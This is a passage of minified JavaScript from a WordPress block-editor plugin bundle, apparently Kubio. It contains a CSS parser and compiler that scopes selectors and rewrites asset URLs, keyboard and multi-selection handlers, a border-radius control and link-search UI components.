rovider,{value:null==b?void 0:b.name},Object(r.createElement)(z.a.Slot,null))),Object(r.createElement)($,{clientIds:n}),!k&&Object(r.createElement)(V.a,{clientIds:n}))}},function(e,t,n){"use strict";var o=n(2),r=n(11),l=n(386),c=n.n(l);const i=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g;var a=function(e,t){t=t||{};let n=1,o=1;function r(e){const t=e.match(/\n/g);t&&(n+=t.length);const r=e.lastIndexOf("\n");o=~r?e.length-r:o+e.length}function l(){const e={line:n,column:o};return function(t){return t.position=new c(e),g(),t}}function c(e){this.start=e,this.end={line:n,column:o},this.source=t.source}c.prototype.content=e;const a=[];function d(r){const l=new Error(t.source+":"+n+":"+o+": "+r);if(l.reason=r,l.filename=t.source,l.line=n,l.column=o,l.source=e,!t.silent)throw l;a.push(l)}function b(){return f(/^{\s*/)}function p(){return f(/^}/)}function m(){let t;const n=[];for(g(),h(n);e.length&&"}"!==e.charAt(0)&&(t=w()||B());)!1!==t&&(n.push(t),h(n));return n}function f(t){const n=t.exec(e);if(!n)return;const o=n[0];return r(o),e=e.slice(o.length),n}function g(){f(/^\s*/)}function h(e){let t;for(e=e||[];t=v();)!1!==t&&e.push(t);return e}function v(){const t=l();if("/"!==e.charAt(0)||"*"!==e.charAt(1))return;let n=2;for(;""!==e.charAt(n)&&("*"!==e.charAt(n)||"/"!==e.charAt(n+1));)++n;if(n+=2,""===e.charAt(n-1))return d("End of comment missing");const c=e.slice(2,n-2);return o+=2,r(c),e=e.slice(n),o+=2,t({type:"comment",comment:c})}function O(){const e=f(/^([^{]+)/);if(e)return s(e[0]).replace(/\/\*([^*]|[\r\n]|(\*+([^*/]|[\r\n])))*\*\/+/g,"").replace(/"(?:\\"|[^"])*"|'(?:\\'|[^'])*'/g,(function(e){return e.replace(/,/g,"")})).split(/\s*(?![^(]*\)),\s*/).map((function(e){return e.replace(/\u200C/g,",")}))}function k(){const e=l();let t=f(/^(\*?[-#\/\*\\\w]+(\[[0-9a-z_-]+\])?)\s*/);if(!t)return;if(t=s(t[0]),!f(/^:\s*/))return d("property missing ':'");const n=f(/^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^\)]*?\)|[^};])+)/),o=e({type:"declaration",property:t.replace(i,""),value:n?s(n[0]).replace(i,""):""});return f(/^[;\s]*/),o}function j(){const e=[];if(!b())return d("missing '{'");let t;for(h(e);t=k();)!1!==t&&(e.push(t),h(e));return p()?e:d("missing '}'")}function _(){let e;const t=[],n=l();for(;e=f(/^((\d+\.\d+|\.\d+|\d+)%?|[a-z]+)\s*/);)t.push(e[1]),f(/^,\s*/);if(t.length)return n({type:"keyframe",values:t,declarations:j()})}const y=C("import"),E=C("charset"),S=C("namespace");function C(e){const t=new RegExp("^@"+e+"\\s*([^;]+);");return function(){const n=l(),o=f(t);if(!o)return;const r={type:e};return r[e]=o[1].trim(),n(r)}}function w(){if("@"===e[0])return function(){const e=l();let t=f(/^@([-\w]+)?keyframes\s*/);if(!t)return;const n=t[1];if(t=f(/^([-\w]+)\s*/),!t)return d("@keyframes missing name");const o=t[1];if(!b())return d("@keyframes missing '{'");let r,c=h();for(;r=_();)c.push(r),c=c.concat(h());return p()?e({type:"keyframes",name:o,vendor:n,keyframes:c}):d("@keyframes missing '}'")}()||function(){const e=l(),t=f(/^@media *([^{]+)/);if(!t)return;const n=s(t[1]);if(!b())return d("@media missing '{'");const o=h().concat(m());return p()?e({type:"media",media:n,rules:o}):d("@media missing '}'")}()||function(){const e=l(),t=f(/^@custom-media\s+(--[^\s]+)\s*([^{;]+);/);if(t)return e({type:"custom-media",name:s(t[1]),media:s(t[2])})}()||function(){const e=l(),t=f(/^@supports *([^{]+)/);if(!t)return;const n=s(t[1]);if(!b())return d("@supports missing '{'");const o=h().concat(m());return p()?e({type:"supports",supports:n,rules:o}):d("@supports missing '}'")}()||y()||E()||S()||function(){const e=l(),t=f(/^@([-\w]+)?document *([^{]+)/);if(!t)return;const n=s(t[1]),o=s(t[2]);if(!b())return d("@document missing '{'");const r=h().concat(m());return p()?e({type:"document",document:o,vendor:n,rules:r}):d("@document missing '}'")}()||function(){const e=l();if(!f(/^@page */))return;const t=O()||[];if(!b())return d("@page missing '{'");let n,o=h();for(;n=k();)o.push(n),o=o.concat(h());return p()?e({type:"page",selectors:t,declarations:o}):d("@page missing '}'")}()||function(){const e=l();if(!f(/^@host\s*/))return;if(!b())return d("@host missing '{'");const t=h().concat(m());return p()?e({type:"host",rules:t}):d("@host missing '}'")}()||function(){const e=l();if(!f(/^@font-face\s*/))return;if(!b())return d("@font-face missing '{'");let t,n=h();for(;t=k();)n.push(t),n=n.concat(h());return p()?e({type:"font-face",declarations:n}):d("@font-face missing '}'")}()}function B(){const e=l(),t=O();return t?(h(),e({type:"rule",selectors:t,declarations:j()})):d("selector missing")}return u(function(){const e=m();return{type:"stylesheet",stylesheet:{source:t.source,rules:e,parsingErrors:a}}}())};function s(e){return e?e.replace(/^\s+|\s+$/g,""):""}function u(e,t){const n=e&&"string"==typeof e.type,o=n?e:t;for(const t in e){const n=e[t];Array.isArray(n)?n.forEach((function(e){u(e,o)})):n&&"object"==typeof n&&u(n,o)}return n&&Object.defineProperty(e,"parent",{configurable:!0,writable:!0,enumerable:!1,value:t||null}),e}var d=n(257),b=n.n(d),p=m;function m(e){this.options=e||{}}m.prototype.emit=function(e){return e},m.prototype.visit=function(e){return this[e.type](e)},m.prototype.mapVisit=function(e,t){let n="";t=t||"";for(let o=0,r=e.length;o<r;o++)n+=this.visit(e[o]),t&&o<r-1&&(n+=this.emit(t));return n};var f=g;function g(e){p.call(this,e)}b()(g,p),g.prototype.compile=function(e){return e.stylesheet.rules.map(this.visit,this).join("")},g.prototype.comment=function(e){return this.emit("",e.position)},g.prototype.import=function(e){return this.emit("@import "+e.import+";",e.position)},g.prototype.media=function(e){return this.emit("@media "+e.media,e.position)+this.emit("{")+this.mapVisit(e.rules)+this.emit("}")},g.prototype.document=function(e){const t="@"+(e.vendor||"")+"document "+e.document;return this.emit(t,e.position)+this.emit("{")+this.mapVisit(e.rules)+this.emit("}")},g.prototype.charset=function(e){return this.emit("@charset "+e.charset+";",e.position)},g.prototype.namespace=function(e){return this.emit("@namespace "+e.namespace+";",e.position)},g.prototype.supports=function(e){return this.emit("@supports "+e.supports,e.position)+this.emit("{")+this.mapVisit(e.rules)+this.emit("}")},g.prototype.keyframes=function(e){return this.emit("@"+(e.vendor||"")+"keyframes "+e.name,e.position)+this.emit("{")+this.mapVisit(e.keyframes)+this.emit("}")},g.prototype.keyframe=function(e){const t=e.declarations;return this.emit(e.values.join(","),e.position)+this.emit("{")+this.mapVisit(t)+this.emit("}")},g.prototype.page=function(e){const t=e.selectors.length?e.selectors.join(", "):"";return this.emit("@page "+t,e.position)+this.emit("{")+this.mapVisit(e.declarations)+this.emit("}")},g.prototype["font-face"]=function(e){return this.emit("@font-face",e.position)+this.emit("{")+this.mapVisit(e.declarations)+this.emit("}")},g.prototype.host=function(e){return this.emit("@host",e.position)+this.emit("{")+this.mapVisit(e.rules)+this.emit("}")},g.prototype["custom-media"]=function(e){return this.emit("@custom-media "+e.name+" "+e.media+";",e.position)},g.prototype.rule=function(e){const t=e.declarations;return t.length?this.emit(e.selectors.join(","),e.position)+this.emit("{")+this.mapVisit(t)+this.emit("}"):""},g.prototype.declaration=function(e){return this.emit(e.property+":"+e.value,e.position)+this.emit(";")};var h=v;function v(e){e=e||{},p.call(this,e),this.indentation=e.indent}b()(v,p),v.prototype.compile=function(e){return this.stylesheet(e)},v.prototype.stylesheet=function(e){return this.mapVisit(e.stylesheet.rules,"\n\n")},v.prototype.comment=function(e){return this.emit(this.indent()+"/*"+e.comment+"*/",e.position)},v.prototype.import=function(e){return this.emit("@import "+e.import+";",e.position)},v.prototype.media=function(e){return this.emit("@media "+e.media,e.position)+this.emit(" {\n"+this.indent(1))+this.mapVisit(e.rules,"\n\n")+this.emit(this.indent(-1)+"\n}")},v.prototype.document=function(e){const t="@"+(e.vendor||"")+"document "+e.document;return this.emit(t,e.position)+this.emit(" {\n"+this.indent(1))+this.mapVisit(e.rules,"\n\n")+this.emit(this.indent(-1)+"\n}")},v.prototype.charset=function(e){return this.emit("@charset "+e.charset+";",e.position)},v.prototype.namespace=function(e){return this.emit("@namespace "+e.namespace+";",e.position)},v.prototype.supports=function(e){return this.emit("@supports "+e.supports,e.position)+this.emit(" {\n"+this.indent(1))+this.mapVisit(e.rules,"\n\n")+this.emit(this.indent(-1)+"\n}")},v.prototype.keyframes=function(e){return this.emit("@"+(e.vendor||"")+"keyframes "+e.name,e.position)+this.emit(" {\n"+this.indent(1))+this.mapVisit(e.keyframes,"\n")+this.emit(this.indent(-1)+"}")},v.prototype.keyframe=function(e){const t=e.declarations;return this.emit(this.indent())+this.emit(e.values.join(", "),e.position)+this.emit(" {\n"+this.indent(1))+this.mapVisit(t,"\n")+this.emit(this.indent(-1)+"\n"+this.indent()+"}\n")},v.prototype.page=function(e){const t=e.selectors.length?e.selectors.join(", ")+" ":"";return this.emit("@page "+t,e.position)+this.emit("{\n")+this.emit(this.indent(1))+this.mapVisit(e.declarations,"\n")+this.emit(this.indent(-1))+this.emit("\n}")},v.prototype["font-face"]=function(e){return this.emit("@font-face ",e.position)+this.emit("{\n")+this.emit(this.indent(1))+this.mapVisit(e.declarations,"\n")+this.emit(this.indent(-1))+this.emit("\n}")},v.prototype.host=function(e){return this.emit("@host",e.position)+this.emit(" {\n"+this.indent(1))+this.mapVisit(e.rules,"\n\n")+this.emit(this.indent(-1)+"\n}")},v.prototype["custom-media"]=function(e){return this.emit("@custom-media "+e.name+" "+e.media+";",e.position)},v.prototype.rule=function(e){const t=this.indent(),n=e.declarations;return n.length?this.emit(e.selectors.map((function(e){return t+e})).join(",\n"),e.position)+this.emit(" {\n")+this.emit(this.indent(1))+this.mapVisit(n,"\n")+this.emit(this.indent(-1))+this.emit("\n"+this.indent()+"}"):""},v.prototype.declaration=function(e){return this.emit(this.indent())+this.emit(e.property+": "+e.value,e.position)+this.emit(";")},v.prototype.indent=function(e){return this.level=this.level||1,null!==e?(this.level+=e,""):Array(this.level).join(this.indentation||" ")};var O=function(e,t){try{const r=a(e),l=c.a.map(r,(function(e){if(!e)return e;const n=t(e);return this.update(n)}));return n=l,((o=o||{}).compress?new f(o):new h(o)).compile(n)}catch(e){return console.warn("Error while traversing the CSS: "+e),null}var n,o};function k(e){return 0!==e.value.indexOf("data:")&&0!==e.value.indexOf("#")&&(t=e.value,!/^\/(?!\/)/.test(t)&&!function(e){return/^(?:https?:)?\/\//.test(e)}(e.value));var t}function j(e,t){return new URL(e,t).toString()}const _=/^(body|html|:root).*$/;t.a=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return Object(o.map)(e,(e=>{let{css:n,baseURL:o}=e;const l=[];return t&&l.push(function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[];return n=>"rule"===n.type?{...n,selectors:n.selectors.map((n=>t.includes(n.trim())?n:n.match(_)?n.replace(/^(body|html|:root)/,e):e+" "+n))}:n}(t)),o&&l.push((c=o,e=>{if("declaration"===e.type){const r=function(e){const t=/url\((\s*)(['"]?)(.+?)\2(\s*)\)/g;let n;const o=[];for(;null!==(n=t.exec(e));){const e={source:n[0],before:n[1],quote:n[2],value:n[3],after:n[4]};k(e)&&o.push(e)}return o}(e.value).map((o=c,e=>({...e,newUrl:"url("+e.before+e.quote+j(e.value,o)+e.quote+e.after+")"})));return{...e,value:(t=e.value,n=r,n.forEach((e=>{t=t.replace(e.source,e.newUrl)})),t)}}var t,n,o;return e})),l.length?O(n,Object(r.compose)(l)):n;var c}))}},function(e,t,n){"use strict";n.d(t,"b",(function(){return j}));var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(7),a=n(1),s=n(11),u=n(14),d=n(42),b=n(27),p=n(110);function m(e,t,n,o){let r,l=d.focus.focusable.find(n);return t&&l.reverse(),l=l.slice(l.indexOf(e)+1),o&&(r=e.getBoundingClientRect()),l.find((function(e){if(1!==e.children.length||!Object(p.b)(e,e.firstElementChild)||"true"!==e.firstElementChild.getAttribute("contenteditable")){if(!d.focus.tabbable.isTabbableIndex(e))return!1;if(e.isContentEditable&&"true"!==e.contentEditable)return!1;if(o){const t=e.getBoundingClientRect();if(t.left>=r.right||t.right<=r.left)return!1}return!0}}))}function f(){const{getMultiSelectedBlocksStartClientId:e,getMultiSelectedBlocksEndClientId:t,getSettings:n,hasMultiSelection:o,__unstableIsFullySelected:r}=Object(i.useSelect)(u.a),{selectBlock:l}=Object(i.useDispatch)(u.a);return Object(s.useRefEffect)((c=>{let i;function a(){i=null}function s(a){if(a.defaultPrevented)return;const{keyCode:s,target:u,shiftKey:f,ctrlKey:g,altKey:h,metaKey:v}=a,O=s===b.UP,k=s===b.DOWN,j=s===b.LEFT,_=s===b.RIGHT,y=O||j,E=j||_,S=O||k,C=E||S,w=f||g||h||v,B=S?d.isVerticalEdge:d.isHorizontalEdge,{ownerDocument:I}=c,{defaultView:x}=I;if(!C)return;if(o()){if(f)return;if(!r())return;return a.preventDefault(),void(y?l(e()):l(t(),-1))}if(!function(e,t,n){if((t===b.UP||t===b.DOWN)&&!n)return!0;const{tagName:o}=e;return"INPUT"===o?["button","checkbox","color","file","image","radio","reset","submit"].includes(e.getAttribute("type")):"TEXTAREA"!==o}(u,s,w))return;S?i||(i=Object(d.computeCaretRect)(x)):i=null;const T=Object(d.isRTL)(u)?!y:y,{keepCaretInsideBlock:N}=n();if(f)(function(e,t){const n=m(e,t,c);return n&&Object(p.a)(n)})(u,y)&&B(u,y)&&(c.contentEditable=!0,c.focus());else if(!S||!Object(d.isVerticalEdge)(u,y)||h&&!Object(d.isHorizontalEdge)(u,T)||N){if(E&&x.getSelection().isCollapsed&&Object(d.isHorizontalEdge)(u,T)&&!N){const e=m(u,T,c);Object(d.placeCaretAtHorizontalEdge)(e,y),a.preventDefault()}}else{const e=m(u,y,c,!0);e&&(Object(d.placeCaretAtVerticalEdge)(e,h?!y:y,h?void 0:i),a.preventDefault())}}return c.addEventListener("mousedown",a),c.addEventListener("keydown",s),()=>{c.removeEventListener("mousedown",a),c.removeEventListener("keydown",s)}}),[])}var g=n(72);function h(){const{getBlockOrder:e,getSelectedBlockClientIds:t,getBlockRootClientId:n}=Object(i.useSelect)(u.a),{multiSelect:o,selectBlock:r}=Object(i.useDispatch)(u.a),l=Object(g.__unstableUseShortcutEventMatch)();return Object(s.useRefEffect)((c=>{function i(i){if(!l("core/block-editor/select-all",i))return;const a=t();if(a.length<2&&!Object(d.isEntirelySelected)(i.target))return;i.preventDefault();const[s]=a,u=n(s),b=e(u);a.length!==b.length?o(b[0],b[b.length-1]):u&&(c.ownerDocument.defaultView.getSelection().removeAllRanges(),r(u))}return c.addEventListener("keydown",i),()=>{c.removeEventListener("keydown",i)}}),[])}function v(){const{selectBlock:e}=Object(i.useDispatch)(u.a),{isSelectionEnabled:t,getBlockSelectionStart:n,hasMultiSelection:o}=Object(i.useSelect)(u.a);return Object(s.useRefEffect)((r=>{function l(l){if(!t()||0!==l.button)return;const c=n(),i=Object(p.a)(l.target);l.shiftKey?c!==i&&(r.contentEditable=!0,r.focus()):o()&&e(i)}return r.addEventListener("mousedown",l),()=>{r.removeEventListener("mousedown",l)}}),[e,t,n,o])}var O=n(12);function k(){const{__unstableIsFullySelected:e,getSelectedBlockClientIds:t,__unstableIsSelectionMergeable:n,hasMultiSelection:o}=Object(i.useSelect)(u.a),{replaceBlocks:r,__unstableSplitSelection:l,removeBlocks:c,__unstableDeleteSelection:a,__unstableExpandSelection:d}=Object(i.useDispatch)(u.a);return Object(s.useRefEffect)((i=>{function s(e){var t;o()&&null!==(t=e.inputType)&&void 0!==t&&t.startsWith("format")&&e.preventDefault()}function u(s){s.defaultPrevented||o()&&(s.keyCode===b.ENTER?(i.contentEditable=!1,s.preventDefault(),e()?r(t(),Object(O.createBlock)(Object(O.getDefaultBlockName)())):l()):s.keyCode===b.BACKSPACE||s.keyCode===b.DELETE?(i.contentEditable=!1,s.preventDefault(),e()?c(t()):n()?a(s.keyCode===b.DELETE):d()):1!==s.key.length||s.metaKey||s.ctrlKey||(i.contentEditable=!1,n()?a(s.keyCode===b.DELETE):(s.preventDefault(),i.ownerDocument.defaultView.getSelection().removeAllRanges())))}function p(e){o()&&(i.contentEditable=!1,n()?a():(e.preventDefault(),i.ownerDocument.defaultView.getSelection().removeAllRanges()))}return i.addEventListener("beforeinput",s),i.addEventListener("keydown",u),i.addEventListener("compositionstart",p),()=>{i.removeEventListener("beforeinput",s),i.removeEventListener("keydown",u),i.removeEventListener("compositionstart",p)}}),[])}function j(){const[e,t,n]=function(){const e=Object(r.useRef)(),t=Object(r.useRef)(),n=Object(r.useRef)(),o=Object(r.useRef)(),{hasMultiSelection:l,getSelectedBlockClientId:c,getBlockCount:a}=Object(i.useSelect)(u.a),{setNavigationMode:p}=Object(i.useDispatch)(u.a),m=Object(i.useSelect)((e=>e(u.a).isNavigationMode()),[])?void 0:"0",f=Object(r.useRef)();function g(t){if(f.current)f.current=null;else if(l())e.current.focus();else if(c())o.current.focus();else{p(!0);const n=t.target.compareDocumentPosition(e.current)&t.target.DOCUMENT_POSITION_FOLLOWING?"findNext":"findPrevious";d.focus.tabbable[n](t.target).focus()}}const h=Object(r.createElement)("div",{ref:t,tabIndex:m,onFocus:g}),v=Object(r.createElement)("div",{ref:n,tabIndex:m,onFocus:g}),O=Object(s.useRefEffect)((r=>{function i(e){if(e.defaultPrevented)return;if(e.keyCode===b.ESCAPE)return e.preventDefault(),void p(!0);if(e.keyCode!==b.TAB)return;const o=e.shiftKey,i=o?"findPrevious":"findNext";if(!l()&&!c())return void(e.target===r&&p(!0));if((Object(d.isFormElement)(e.target)||e.target.getAttribute("data-block")===c())&&Object(d.isFormElement)(d.focus.tabbable[i](e.target)))return;const a=o?t:n;f.current=!0,a.current.focus({preventScroll:!0})}function s(e){o.current=e.target;const{ownerDocument:t}=r;e.relatedTarget||t.activeElement!==t.body||0!==a()||r.focus()}function u(o){var r;if(o.keyCode!==b.TAB)return;if("region"===(null===(r=o.target)||void 0===r?void 0:r.getAttribute("role")))return;if(e.current===o.target)return;const l=o.shiftKey?"findPrevious":"findNext",c=d.focus.tabbable[l](o.target);c!==t.current&&c!==n.current||(o.preventDefault(),c.focus({preventScroll:!0}))}const{ownerDocument:m}=r,{defaultView:g}=m;return g.addEventListener("keydown",u),r.addEventListener("keydown",i),r.addEventListener("focusout",s),()=>{g.removeEventListener("keydown",u),r.removeEventListener("keydown",i),r.removeEventListener("focusout",s)}}),[]);return[h,Object(s.useMergeRefs)([e,O]),v]}(),o=Object(i.useSelect)((e=>e(u.a).hasMultiSelection()),[]);return[e,Object(s.useMergeRefs)([t,k(),v(),h(),f(),Object(s.useRefEffect)((e=>{if(e.tabIndex=0,e.contentEditable=o,o)return e.classList.add("has-multi-selection"),e.setAttribute("aria-label",Object(a.__)("Multiple selected blocks","kubio")),()=>{e.classList.remove("has-multi-selection"),e.removeAttribute("aria-label")}}),[o])]),n]}t.a=Object(r.forwardRef)((function(e,t){let{children:n,...l}=e;const[i,a,u]=j();return Object(r.createElement)(r.Fragment,null,i,Object(r.createElement)("div",Object(o.a)({},l,{ref:Object(s.useMergeRefs)([a,t]),className:c()(l.className,"block-editor-writing-flow")}),n),u)}))},function(e,t,n){"use strict";n.d(t,"a",(function(){return _}));var o=n(0),r=n(3),l=n(1),c=n(8);function i(e){return[...e].sort(((t,n)=>e.filter((e=>e===n)).length-e.filter((e=>e===t)).length)).shift()}function a(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{flat:t,...n}=e;return t||i(Object.values(n).filter(Boolean))||"px"}function s(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if("string"==typeof e)return e;const t=Object.values(e).map((e=>Object(r.__experimentalParseQuantityAndUnitFromRawValue)(e))),n=t.map((e=>{var t;return null!==(t=e[0])&&void 0!==t?t:""})),o=t.map((e=>e[1])),l=n.every((e=>e===n[0]))?n[0]:"",c=i(o);return 0===l||l?`${l}${c}`:void 0}function u(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=s(e);return"string"!=typeof e&&isNaN(parseFloat(t))}function d(e){return!!e&&("string"==typeof e||!!Object.values(e).filter((e=>!!e||0===e)).length)}function b(e){let{onChange:t,selectedUnits:n,setSelectedUnits:i,values:b,...p}=e,m=s(b);void 0===m&&(m=a(n));const f=d(b)&&u(b),g=f?Object(l.__)("Mixed","kubio"):null;return Object(o.createElement)(r.__experimentalUnitControl,Object(c.a)({},p,{"aria-label":Object(l.__)("Border radius","kubio"),disableUnits:f,isOnly:!0,value:m,onChange:e=>{const n=!isNaN(parseFloat(e));t(n?e:void 0)},onUnitChange:e=>{i({topLeft:e,topRight:e,bottomLeft:e,bottomRight:e})},placeholder:g,size:"__unstable-large"}))}const p={topLeft:Object(l.__)("Top left","kubio"),topRight:Object(l.__)("Top right","kubio"),bottomLeft:Object(l.__)("Bottom left","kubio"),bottomRight:Object(l.__)("Bottom right","kubio")};function m(e){let{onChange:t,selectedUnits:n,setSelectedUnits:l,values:i,...a}=e;const s=e=>n=>{if(!t)return;const o=isNaN(parseFloat(n))?void 0:n;t({...u,[e]:o})},u="string"!=typeof i?i:{topLeft:i,topRight:i,bottomLeft:i,bottomRight:i};return Object(o.createElement)("div",{className:"components-border-radius-control__input-controls-wrapper"},Object.entries(p).map((e=>{let[t,i]=e;const[d,b]=Object(r.__experimentalParseQuantityAndUnitFromRawValue)(u[t]),p=u[t]?b:n[t]||n.flat;return Object(o.createElement)(r.Tooltip,{text:i,position:"top",key:t},Object(o.createElement)("div",{className:"components-border-radius-control__tooltip-wrapper"},Object(o.createElement)(r.__experimentalUnitControl,Object(c.a)({},a,{"aria-label":i,value:[d,p].join(""),onChange:s(t),onUnitChange:(m=t,e=>{const t={...n};t[m]=e,l(t)}),size:"__unstable-large"}))));var m})))}var f=n(328),g=n(414);function h(e){let{isLinked:t,...n}=e;const i=t?Object(l.__)("Unlink radii","kubio"):Object(l.__)("Link radii","kubio");return Object(o.createElement)(r.Tooltip,{text:i},Object(o.createElement)("span",null,Object(o.createElement)(r.Button,Object(c.a)({},n,{className:"component-border-radius-control__linked-button",isSmall:!0,icon:t?f.a:g.a,iconSize:24,"aria-label":i}))))}var v=n(30);const O={topLeft:void 0,topRight:void 0,bottomLeft:void 0,bottomRight:void 0},k=0,j={px:100,em:20,rem:20};function _(e){let{onChange:t,values:n}=e;const[c,i]=Object(o.useState)(!d(n)||!u(n)),[p,f]=Object(o.useState)({flat:"string"==typeof n?Object(r.__experimentalParseQuantityAndUnitFromRawValue)(n)[1]:void 0,topLeft:Object(r.__experimentalParseQuantityAndUnitFromRawValue)(null==n?void 0:n.topLeft)[1],topRight:Object(r.__experimentalParseQuantityAndUnitFromRawValue)(null==n?void 0:n.topRight)[1],bottomLeft:Object(r.__experimentalParseQuantityAndUnitFromRawValue)(null==n?void 0:n.bottomLeft)[1],bottomRight:Object(r.__experimentalParseQuantityAndUnitFromRawValue)(null==n?void 0:n.bottomRight)[1]}),g=Object(r.__experimentalUseCustomUnits)({availableUnits:Object(v.a)("spacing.units")||["px","em","rem"]}),_=a(p),y=g&&g.find((e=>e.value===_)),E=(null==y?void 0:y.step)||1,[S]=Object(r.__experimentalParseQuantityAndUnitFromRawValue)(s(n));return Object(o.createElement)("fieldset",{className:"components-border-radius-control"},Object(o.createElement)(r.BaseControl.VisualLabel,{as:"legend"},Object(l.__)("Radius","kubio")),Object(o.createElement)("div",{className:"components-border-radius-control__wrapper"},c?Object(o.createElement)(o.Fragment,null,Object(o.createElement)(b,{className:"components-border-radius-control__unit-control",values:n,min:k,onChange:t,selectedUnits:p,setSelectedUnits:f,units:g}),Object(o.createElement)(r.RangeControl,{label:Object(l.__)("Border radius","kubio"),hideLabelFromVision:!0,className:"components-border-radius-control__range-control",value:null!=S?S:"",min:k,max:j[_],initialPosition:0,withInputField:!1,onChange:e=>{t(void 0!==e?`${e}${_}`:void 0)},step:E,__nextHasNoMarginBottom:!0})):Object(o.createElement)(m,{min:k,onChange:t,selectedUnits:p,setSelectedUnits:f,values:n||O,units:g}),Object(o.createElement)(h,{onClick:()=>i(!c),isLinked:c})))}},function(e,t,n){"use strict";var o=n(8),r=n(0),l=n(13),c=n.n(l),i=n(35),a=n(1),s=n(3),u=n(423),d=n(424),b=n(5),p=Object(r.createElement)(b.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(r.createElement)(b.Path,{d:"M20.1 11.2l-6.7-6.7c-.1-.1-.3-.2-.5-.2H5c-.4-.1-.8.3-.8.7v7.8c0 .2.1.4.2.5l6.7 6.7c.2.2.5.4.7.5s.6.2.9.2c.3 0 .6-.1.9-.2.3-.1.5-.3.8-.5l5.6-5.6c.4-.4.7-1 .7-1.6.1-.6-.2-1.2-.6-1.6zM19 13.4L13.4 19c-.1.1-.2.1-.3.2-.2.1-.4.1-.6 0-.1 0-.2-.1-.3-.2l-6.5-6.5V5.8h6.8l6.5 6.5c.2.2.2.4.2.6 0 .1 0 .3-.2.5zM9 8c-.6 0-1 .4-1 1s.4 1 1 1 1-.4 1-1-.4-1-1-1z"})),m=Object(r.createElement)(b.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(r.createElement)(b.Path,{d:"M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",fillRule:"evenodd",clipRule:"evenodd"})),f=Object(r.createElement)(b.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(r.createElement)(b.Path,{d:"M19 6.2h-5.9l-.6-1.1c-.3-.7-1-1.1-1.8-1.1H5c-1.1 0-2 .9-2 2v11.8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8.2c0-1.1-.9-2-2-2zm.5 11.6c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h5.8c.2 0 .4.1.4.3l1 2H19c.3 0 .5.2.5.5v9.5z"})),g=n(680),h=n(120);const v={post:u.a,page:d.a,post_tag:p,category:m,attachment:f};function O(e){let{isURL:t,suggestion:n}=e,o=null;return t?o=g.a:n.type in v&&(o=v[n.type]),o?Object(r.createElement)(h.a,{className:"block-editor-link-control__search-item-icon",icon:o}):null}t.a=e=>{let{itemProps:t,suggestion:n,isSelected:l=!1,onClick:u,isURL:d=!1,searchTerm:b="",shouldShowType:p=!1}=e;return Object(r.createElement)(s.Button,Object(o.a)({},t,{onClick:u,className:c()("block-editor-link-control__search-item",{"is-selected":l,"is-url":d,"is-entity":!d})}),Object(r.createElement)(O,{suggestion:n,isURL:d}),Object(r.createElement)("span",{className:"block-editor-link-control__search-item-header"},Object(r.createElement)("span",{className:"block-editor-link-control__search-item-title"},Object(r.createElement)(s.TextHighlight,{text:n.title,highlight:b})),Object(r.createElement)("span",{"aria-hidden":!d,className:"block-editor-link-control__search-item-info"},!d&&(Object(i.filterURLForDisplay)(Object(i.safeDecodeURI)(n.url))||""),d&&Object(a.__)("Press ENTER to add this link","kubio"))),p&&n.type&&Object(r.createElement)("span",{className:"block-editor-link-control__search-item-type"},function(e){return e.isFrontPage?"front page":"post_tag"===e.type?"tag":e.type}(n)))}},function(e,t,n){"use strict";n.d(t,"a",(function(){return m}));var o=n(0),r=n(13),l=n.n(r),c=n(3),i=n(1),a=n(681),s=n(5),u=Object(o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(s.Path,{d:"M6.1 6.8L2.1 18h1.6l1.1-3h4.3l1.1 3h1.6l-4-11.2H6.1zm-.8 6.8L7 8.9l1.7 4.7H5.3zm15.1-.7c-.4-.5-.9-.8-1.6-1 .4-.2.7-.5.8-.9.2-.4.3-.9.3-1.4 0-.9-.3-1.6-.8-2-.6-.5-1.3-.7-2.4-.7h-3.5V18h4.2c1.1 0 2-.3 2.6-.8.6-.6 1-1.4 1-2.4-.1-.8-.3-1.4-.6-1.9zm-5.7-4.7h1.8c.6 0 1.1.1 1.4.4.3.2.5.7.5 1.3 0 .6-.2 1.1-.5 1.3-.3.2-.8.4-1.4.4h-1.8V8.2zm4 8c-.4.3-.9.5-1.5.5h-2.6v-3.8h2.6c1.4 0 2 .6 2 1.9.1.6-.1 1-.5 1.4z"})),d=Object(o.createElement)(s.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(s.Path,{d:"M11 